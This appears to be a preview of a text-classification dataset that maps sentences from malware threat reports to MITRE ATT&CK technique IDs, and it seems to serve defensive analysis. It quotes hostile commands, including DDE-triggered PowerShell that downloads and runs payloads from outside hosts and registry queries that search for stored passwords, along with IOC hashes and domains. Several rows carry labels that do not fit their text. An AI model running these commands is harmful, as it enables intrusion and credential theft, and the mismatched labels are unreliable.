text1
stringlengths 7
2.5k
| labels
stringlengths 9
100
|
|---|---|
Additionally we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory() and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT they continue to use similar Windows APIs | ['T1055.012'] |
It hands over the decrypted buffer extracted from the resource section and the path from the original RegAsm executable to the start_protect_hexcode function.Then it starts the process-hollowing shellcode, which is stored in the HEXCODE1 variable | ['T1055.012'] |
Then, they are using the process hollowing technique to hide the execution of these tools inside of the original Microsoft vbc.exe (VisualBasic Compiler) process | ['T1055.012'] |
Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here: {\rtf1{\field{\*\fldinst DDEAUTO "C:\\\\WIndowS\\\\SYsTem32\\\\cMD.eXe " "/C POWErsHELl.eXE -ex BypaSs -NOP -w HIdDen (NEw-oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe( 'hxxp://86.106.131[.]177/link/GRAPH.EXE' , '%apPDAtA%\graph.exe' ) ; saps '%Appdata%\graph.exe'"}}} The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload | ['T1055.012'] |
Figure 1 Article referenced by decoy document in attack against British government agency The attached document leverages a DDE exploit to ultimately execute the following code:c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it | ['T1055.012'] |
Upon execution, this Trojan checks to see if it was configured with “BINDERON” to determine if it should extract an embedded payload from a resource named “B”, save it to %TEMP%\%BIND1%, and create a new process with the embedded payload | ['T1055.012'] |
Figure 15: Structure used to send data to server Figure 16: Structure used to send data to C2 server The structure is converted to Base64 using the CryptBinaryToStringA function | ['T1048'] |
It then uses WebDAV to upload to a Box cloud drive. | ['T1048'] |
Much like the previous version of Reaver, Reaver.v3 will query the necessary registry keys to determine the correct startup path to use | ['T1012'] |
An example of this decompressed configuration may be seen below: Figure 2 Decompressed Reaver configuration This configuration contains multiple pieces of information, including the following: Network port Sleep timer between network requests Remote Command and Control (C2) Service Name Service Description Service Display Name Hardcoded String | ['T1569.002'] |
Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence: Form1.Speed Form1.diomadnfagaghagh Form1.fjcsERIfjfiojsGHIsdifjksi Form1.gsgjIDJIGJIGJIGJIFDOSpl Form1.FJaioefgkaoeK This chain of functions eventually loads a resource named ‘GSrdofjksrgj’, which the tool decrypts using the same algorithm and key as in the initial payload:byte[] array4 = new byte[] { 19, 129, 43, 37, 56, 65, 255, 75, 111, 19, 211, 120, 0, 49, 126, 248 };The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool | ['T1569.002'] |
The files we recovered indicate they do it by executing a script file, which uses the Sysinternals psexec tool to move laterally by trying to copy it to every machine they can reach: | ['T1569.002'] |
The following capabilities have been observed in this payload: Get drive information Modify files Modify directories Modify registry Spawn process Terminate process Modify services Kill self Ties to SunOrcal Reaver was used concurrently with SunOrcal over the past year, to include two Reaver samples dropped from zip files hosted on a domain also being used as a SunOrcal C2 (www.fyoutside[.]com), and there is also passive DNS overlap amongst the C2s | ['T1112'] |
The backdoor will modify the registry for the Windows Media Player to store its C&C configuration. | ['T1112'] |
Hard Disk Check The Trojan will perform the following WMI query: Select * from Win32_DiskDrive The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle | ['T1497.001', 'T1497'] |
Motherboard Check The Trojan will perform the following WMI query: Select * from Win32_BaseBoard The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle | ['T1497.001', 'T1497'] |
ShellTea utilizes a number of techniques to identify if it is running within a virtual environment or is being monitored. | ['T1497.001', 'T1497'] |
High resolution screenshots of specified process windows and when recording VoiceIP application audio | ['T1123'] |
To ensure its victim will use IE, it will terminate any process in-focus that is Chrome or Firefox, in hopes the victim will believe the browsers are “malfunctioning.” Whenever a victim uses IE and browses to specific Brazilian banks or businesses, the malware will only then begin to log keystrokes | ['T1552.001'] |
The usage of LinkedIn to deliver malicious documents, | ['T1566.003'] |
At the same time, Enc.exe will start the encryption routine and append “. jcry ” as file extension to the encrypted file. | ['T1486'] |
Opening document starts a template injection technique for loading the document template from the internet. | ['T1221'] |
The Data field is encrypted using a custom stream cipher. | ['T1486'] |
Finally the script deletes the shadow copies, in a preparation for the ransomware operations. | ['T1490'] |
They apparently create a Domain Admin account named SQLSVC and give it the password Br4pbr4p (which also happens to be the password salt preconfigured in the dirtycow exploit script) and then leverage that account to perform a series of commands. | ['T1136'] |
smb and exploit in same sentence | ['T1210'] |
The decoy file, doc.rtf, contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP% | ['T1559.002'] |
The decrypted shellcode is dropped as a Microsoft Word plugin WLL into C:\Users\ADMINI~1\AppData\Roaming\Microsoft\Word\STARTUP. | ['T1137'] |
The wormDll32 module attempts to identify servers and domain controllers in the network using NetServerEnum and LDAP queries. | ['T1482'] |
This module searches the infected system’s files to gather email addresses for information-stealing purposes. | ['T1114'] |
A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file. | ['T1025'] |
overwrite or delete MBR in same sentence | ['T1561.002'] |
master boot record wiper | ['T1561.002'] |
MBR + overwrite/wipe | ['T1561.002'] |
reg query HKLM /f password /t REG_SZ /s | ['T1552.002'] |
reg query HKCU /f password /t REG_SZ /s | ['T1552.002'] |
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager | ['T1546.009'] |
COM and execution in same sentence | ['T1021.003'] |
C:\Windows\System32\sethc.exe | ['T1546.008'] |
collect + keychain in same sentence | ['T1555.001'] |
looks for net and account or domain in close proximity | ['T1201'] |
!ProcessList List running processes, including their PID, parent PID, executable name and priority !SendFileToServer Uploads a specified file to the C2 server !CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server | ['T1057', 'T1105'] |
(Source: Dell SecureWorks) Appendix C — OwaAuth web shell analysis OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell | ['T1059', 'T1505.003'] |
(Source: Dell SecureWorks) ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system | ['T1059', 'T1505.003'] |
(Source: Dell SecureWorks) Table 4 lists the OwaAuth web shell commands available to the adversary | ['T1059', 'T1505.003'] |
(Source: Dell SecureWorks) The following tools appear to be exclusive to TG-3390: OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers | ['T1059', 'T1505.003'] |
(Source: SecureWorks) NetWire logs keystrokes and peripheral inputs into encoded files in the C:\Users\<username> Figure 3 | ['T1033', 'T1056'] |
(Source: SecureWorks) The “Windows Folder.exe” executable spawns and injects code into the legitimate notepad.exe Windows process (see Figure 2) | ['T1055.012', 'T1055'] |
0x007CFABF video Desktop video recording 0x06E533C4 download Downloads executable and injects into new process 0x00684509 ammyy Ammyy Admin tool 0x07C6A8A5 update Updates self 0x0B22A5A7 Add/Update klgconfig (analysis incomplete) 0x0B77F949 httpproxy Starts HTTP proxy 0x07203363 killos Renders computer unbootable by wiping the MBR 0x078B9664 reboot Reboots the operating system 0x07BC54BC tunnel Creates a network tunnel 0x07B40571 adminka Adds new C2 server or proxy address for pseudo-HTTP protocol 0x079C9CC2 server Adds new C2 server for custom binary protocol 0x0007C9C2 user Creates or deletes Windows user account 0x000078B0 rdp Enables concurrent RDP (analysis incomplete) 0x079BAC85 secure Adds Notification Package (analysis incomplete) 0x00006ABC del Deletes file or service 0x0A89AF94 startcmd Adds command to the configuration file (see the Configuration section) 0x079C53BD runmem Downloads executable and injects directly into new process 0x0F4C3903 logonpasswords Send Windows accounts details to the C2 server 0x0BC205E4 screenshot Takes a screenshot of the desktop and sends it to the C2 server 0x007A2BC0 sleep Backdoor sleeps until specified date 0x0006BC6C dupl Unknown 0x04ACAFC3 Upload files to the C2 server 0x00007D43 vnc Runs VNC plugin 0x09C4D055 runfile Runs specified executable file 0x02032914 killbot Uninstalls backdoor 0x08069613 listprocess Returns list of running processes to the C2 server 0x073BE023 plugins Change C2 protocol used by plugins 0x0B0603B4 Download and execute shellcode from specified address 0x0B079F93 killprocess Terminates the first process found specified by name 0x00006A34 cmd Initiates a reverse shell to the C2 server 0x09C573C7 runplug Plugin control 0x08CB69DE autorun Updates backdoor Table 2: Supported Commands Configuration A configuration file resides in a file under the backdoor’s installation directory with the .bin extension | ['T1041', 'T1105', 'T1008'] |
13 14 ams_api64.dll ams_api32.dll Handy wrapper around API of exXX.dll, pdXX.dll, sgXX.dll | ['T1055', 'T1574.001', 'T1574.002'] |
2. The macro decodes the dropped files using Windows certutil.exe (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows). 3. The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) (esentutil.exe is also a legitimate program that is pre-installed in Windows). The dropped files include the following: GUP.exe : GUP, a free (LGPL) Generic Updater. GUP is an open source binary used by Notepad++ for software updates | ['T1055.012', 'T1106', 'T1036', 'T1010'] |
22 Keylogging and exfiltrating data The exfiltrated data is base64 that decodes into more custom encoded strings that appear to be “/” delimited | ['T1140', 'T1560'] |
37 38 zlib64.dll zlib32.dll Open source “zlib” version 1.2.3 used by libpngXX.dll for compressing screenshots (ssXX.dll) | ['T1055', 'T1574.002'] |
59 60 61 62 freeimage_32.dll freeimageplus_32.dll freeimage_64.dll freeimageplus_64.dll FreeImage open source library supports popular graphics image formats (ver 3.15.4 2012-10-27) (http://freeimage.sourceforge.net) | ['T1055', 'T1574.001'] |
68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to %temp%: 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague | ['T1036', 'T1125'] |
Additional Features The Zyklon malware offers the following additional capabilities (via plugins): Browser Password Recovery Zyklon HTTP can recover passwords from popular web browsers, including: Google Chrome Mozilla Firefox Internet Explorer Opera Browser Chrome Canary/SXS CoolNovo Browser Apple Safari Flock Browser SeaMonkey Browser SRWare Iron Browser Comodo Dragon Browser FTP Password Recovery Zyklon currently supports FTP password recovery from the following FTP applications: FileZilla SmartFTP FlashFXP FTPCommander Dreamweaver WS_FTP Gaming Software Key Recovery Zyklon can recover PC Gaming software keys from the following games: Battlefield Call of Duty FIFA NFS Age of Empires Quake The Sims Half-Life IGI Star Wars Email Password Recovery Zyklon may also collect email passwords from following applications: Microsoft Outlook Express Microsoft Outlook 2002/XP/2003/2007/2010/2013 Mozilla Thunderbird Windows Live Mail 2012 IncrediMail, Foxmail v6.x - v7.x Windows Live Messenger MSN Messenger Google Talk GMail Notifier PaltalkScene IM Pidgin (Formerly Gaim) Messenger Miranda Messenger Windows Credential Manager License Key Recovery The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero | ['T1003', 'T1552.001'] |
Additional mitigations that could help to prevent attacks like these from succeeding in your environment include: Changing the default handler for “.hta” files in your environment so that they cannot be directly executed.hta” files in your environment so that they cannot be directly executed | ['T1070.004', 'T1105'] |
After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration | ['T1140', 'T1027'] |
Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/ folder | ['T1564.001', 'T1543.001'] |
After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system | ['T1140', 'T1105'] |
All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts in order to install its persistence mechanism | ['T1064', 'T1547.001'] |
All of these files reside in the victim’s %TEMP% directory: Filename Description 9PT568.dat Contains victim unique identifier TPX498.dat Keystroke logs edg499.dat List of interesting files TPX499.dat Temporarily holds screenshot when given command by C2 up Temporarily contains downloaded file to be executed when given command by C2 Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers | ['T1036', 'T1041'] |
Amongst the downloaded files, the fake .gif and .jpg files appear to be dependencies for the malware | ['T1083', 'T1105'] |
A much more advanced and highly obfuscated Javascript script was utilized in White Atlas samples that dropped a Firefox extension backdoor developed by Turla, but again the script was responsible for the simple tasks of writing out the extension.json configuration file for the extension and deleting itself for cleanup purposes | ['T1070.004', 'T1064', 'T1027'] |
Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server: Directory listing of the user’s Desktop folder using command: cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp Directory listing of the user’s recently accessed files using command: cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp Directory listing of the system’s %programfiles% folder using command: cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp Systeminfo of the endpoint using command: cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp Copies the file ixe000.bin from: C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin To: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp Registry key and value information for the current user’s Run key (with information collected): HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Number of subkeys (<KeyIndex>) <KeyName> Number of Values under each key including the parent Run key (<ValueIndex>) <Value_Name> <Value_Content> Registry Run key enumeration by Gold Dragon | ['T1033', 'T1547.001', 'T1486'] |
Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture | ['T1113', 'T1123'] |
A shortcut file is generated in the following path: %TEMP%\~Update.lnk This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified | ['T1036', 'T1547.009'] |
As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name | ['T1082', 'T1083'] |
Assuming the victim opens the attachment, the infection process begins as described in the following section.Many of the distribution servers that are being used to host the HawkEye keylogger binaries that are retrieved during the infection process are hosting large numbers of malicious binaries and, in many cases, contain open directory listings that can be used to identify the scope of the infections that they are being used to facilitate | ['T1057', 'T1056'] |
A string with the 5-character length and encoded with BASE64 is added to the beginning of the buffer encoded using the BASE64 algorithm | ['T1027', 'T1132'] |
Attack Flow and Exfiltration After injecting into the targeted processes, the modules continue their malicious activity through those processes | ['T1055', 'T1057'] |
AutoFocus customers may learn more from the DarkHydrus tag IOC Related SHA256 Hashes Payloads cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1 ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4 a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88 d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81 c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3 ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c Delivery documents d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318 8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde 9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49 cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9 0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1 0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82 870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8 ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0 01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2 6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a 47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870 776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4 cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0 e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678 26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245 b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350 ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c Related Domains maccaffe[.]com cisc0[.]net 0utl00k[.]net msdncss[.]com 0ffice[.]com 0ffiice[.]com micrrosoft[.]net anyconnect[.]stream bigip[.]stream fortiweb[.]download kaspersky[.]science microtik[.]stream owa365[.]bid symanteclive[.]download windowsdefender[.]win allexa[.]net kaspersky[.]host hotmai1[.]com 0utlook[.]bid | ['T1087'] |
Backdoor.Remexi, one of the malware in use by Chafer, had the following command and control host: 87pqxz159.dockerjsbin[.]com Interestingly, IP address 83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well | ['T1016', 'T1102'] |
The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications. The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data. | ['T1036', 'T1048', 'T1132'] |
Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor | ['T1140', 'T1027.001'] |
By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process | ['T1055', 'T1057'] |
C2 Command Purpose reboot Reboot the system using shutdown command shutdown Shut down the system using shutdown command clean Wipe the Drives, C:\, D:\, E:\, F:\ screenshot Take a screenshot of the System upload Encrypt and upload the information from the system excel Leverage Excel.Application COM object for code execution outlook Leverage Outlook.Application COM object for code execution risk Leverage DCOM object for code execution Conclusion This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware | ['T1113', 'T1082', 'T1053.005', 'T1106', 'T1140'] |
ChromeUpdate.exe starts the file with “rundll32 cache.dll,ADB_Setup” Cache.dll analysis Cache.dll was written in C/C++ and built with a Microsoft compiler | ['T1055', 'T1218.011'] |
Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more | ['T1115', 'T1070.004', 'T1070'] |
Command_Keylog_offline: Load into memory a dll that contains the function “PluginMe”. After researching and analyzing additional Gh0stRAT samples while trying to figure out what dll contains “PluginMe”, I found a DLL for keylogging (called Keylog.dll) in a Gh0stRAT 2.0 sample that exported “PluginMe”. Using that and a cross-comparison of another Gh0stRAT sample that I’ve previously analyzed, I was able to determine that “PluginMe” is a offline keyboard manager | ['T1055', 'T1574.001', 'T1218.011', 'T1574.002', 'T1056'] |
Command_Update_Server: This command passes the string “Gh0st Update” to the malware sample before running the sample again. When the sample restarts, it detects the “Gh0st Update” command line arg, and connects to the server in order to update the sample. Command_Clean_Event: This command locates and deletes all of the event logs on the system | ['T1070.004', 'T1059', 'T1070', 'T1102'] |
Command Description 0x31 Fingerprint System via WMI and Registry 0x32 Drop File and execute 0x33 Remote Shell 0x34 Terminate connection with C2 0x35 Download and run batch script 0x36 Download file on machine 0x37 Upload File Table 2: FELIXROOT backdoor commands Figure 9 shows the log message decrypted from memory using the same mechanism shown in Figure 6 and Figure 7 for every command executed | ['T1064', 'T1105'] |
Command Description Action 0 Server response string contains batch commands Execute batch commands and send results back to server 1 Server response string is a file path Check for file path and upload (PUT) the file to server 2 Server response string is a file path Check for file path and download (GET) the file Table 1: POWRUNER commands After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution | ['T1070.006', 'T1041', 'T1105'] |
Command Functionality Init Create a reverse shell Write Write a file to the compromised system from the C2 server List List the files in a directory Upload Upload a file from the compromised system to the C2 server Table 2 | ['T1041', 'T1105'] |
Command IDDescription 0Uninstall Keydnap and quit 1Update the backdoor from a base64-encoded file 2Update the backdoor given a URL 3Decode and execute a base64-encoded file 4Decode and execute a base64-encoded Python script 5Download and execute a file from a URL 6Download and execute a Python script from a URL 7Execute a command and report the output back to the C&C server 8Request administrator privileges the next time the user runs an application 9Decode and execute, or stop, a base64-encoded file calledauthd_service The last two commands stand out | ['T1140', 'T1132', 'T1569.002'] |
Comnie will make requests to these URLs, looking for base64-encoded data after an identifier of ‘magnet:/’, as seen in the example below: Figure 14 GitHub storing Comnie C2 information In the example above, the C2 information is being stored within the user’s URL parameter within GitHub | ['T1102', 'T1041'] |
Continuing Malicious Activity and Manipulating Additional Security Products After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW() function | ['T1055', 'T1218.010'] |
Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00* Change the time of a file as specified by the control server The malware changing the file time | ['T1070.006', 'T1074', 'T1041'] |
cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence | ['T1053.005', 'T1064'] |
Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity.Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware | ['T1518.001', 'T1018'] |
Decrypted Config: C&C IP: 192.168.0.107 Port: 80 Sleep Timer: 30000 Campaign Identifier: Mirage If you look at it the decrypted configuration, you may notice that the IP being used for the C&C is an internal IP address | ['T1140', 'T1016'] |
Deletes the registry key HKCU\Software\Classes\Applications\rundll32.exe\shell\open Deletes the dropper components from the system | ['T1070.004', 'T1112'] |
Different colors show the three dropped modules: legit app (blue), launcher (green), and decompressor with the Trojan embedded (red) The initial module drops three files that are typical for Chinese-speaking actors: a legit Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher (pcalocalresloader.dll) and the last-stage decompressor (thumb.db) | ['T1055', 'T1574.002'] |
Downloading stylesheets allows for emended JavaScript and VBS to be run from within them, at which point any type of malware could be staged and run quite easily | ['T1064', 'T1547.001'] |
During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH | ['T1036', 'T1021'] |
During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL: http://ink[dot]inkboom.co.kr/host/img/jpg/post.php HTTP data/parameters used in the request include: Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info> User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Accept-Language: en-us HTTP Version: HTTP/1.0 The malware can also download and execute additional components served to it by the control server | ['T1071', 'T1048', 'T1132', 'T1486'] |
During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East | ['T1068', 'T1203'] |
Embed "scriptlets" in generated payloads to perform some tasks "offline" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.) Multiple Target Platforms: Platform Support Status Windows XP Supported Windows 7 Supported Windows 8 Supported Windows 10 Supported Linux Supported Mac OSX Limited Support Android Limited Support Documentation All documentation can be found on the wiki | ['T1106', 'T1010'] |
Encoding the encryption key In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data | ['T1573', 'T1486'] |
Encrypted Configuration in shellcode The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL | ['T1082', 'T1140', 'T1027'] |